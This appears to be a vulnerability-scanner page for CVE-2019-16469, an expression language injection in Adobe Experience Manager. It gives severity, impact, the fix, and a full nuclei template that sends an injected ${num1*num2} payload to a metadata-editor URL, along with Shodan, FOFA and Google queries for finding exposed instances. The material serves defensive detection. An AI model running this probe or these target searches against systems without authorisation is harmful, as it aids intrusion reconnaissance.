Adobe Experience Manager - Expression Language Injection

highseverity

7.5CVSS score

17.2%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Adobe Experience Manager versions 6.5, 6.4, 6.3, 6.2, 6.1, and 6.0 has an expression language injection vulnerability.

Impact

Successful exploitation could lead to sensitive information disclosure

Fix

To fix the vulnerability, it is necessary to update the Adobe AEM instance using the Service Pack 6.5.3.0

How to confirm it

Send: GET {{BaseURL}}/mnt/overlay/dam/gui/content/assets/metadataeditor.external.html?item=$%7b{{num1}}*{{num2}}%7d
Positive when: contains "data-formid=\"{{result}}\"" and "Embed Code" AND status 200

Run it with nuclei: nuclei -id CVE-2019-16469 -u <target>

The full check

id: CVE-2019-16469

info:
  name: Adobe Experience Manager - Expression Language Injection
  author: DomenicoVeneziano
  severity: high
  description: |
    Adobe Experience Manager versions 6.5, 6.4, 6.3, 6.2, 6.1, and 6.0 has an expression language injection vulnerability.
  impact: |
    Successful exploitation could lead to sensitive information disclosure
  remediation: |
    To fix the vulnerability, it is necessary to update the Adobe AEM instance using the Service Pack 6.5.3.0
  reference:
    - https://nozero.io/en/cve-2019-16469-adobe-aem-expression-language-injection/
    - https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16469
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-16469
    cwe-id: CWE-917
    epss-score: 0.17186
    epss-percentile: 0.97117
    cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: experience_manager
    shodan-query:
      - http.component:"Adobe Experience Manager"
      - http.component:"adobe experience manager"
      - http.title:"aem sign in"
      - cpe:"cpe:2.3:a:adobe:experience_manager"
    fofa-query: title="aem sign in"
    google-query: intitle:"aem sign in"
  tags: cve,cve2019,aem,eli,csti,adobe,vuln
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/mnt/overlay/dam/gui/content/assets/metadataeditor.external.html?item=$%7b{{num1}}*{{num2}}%7d'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-formid="{{result}}"'
          - 'Embed Code'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from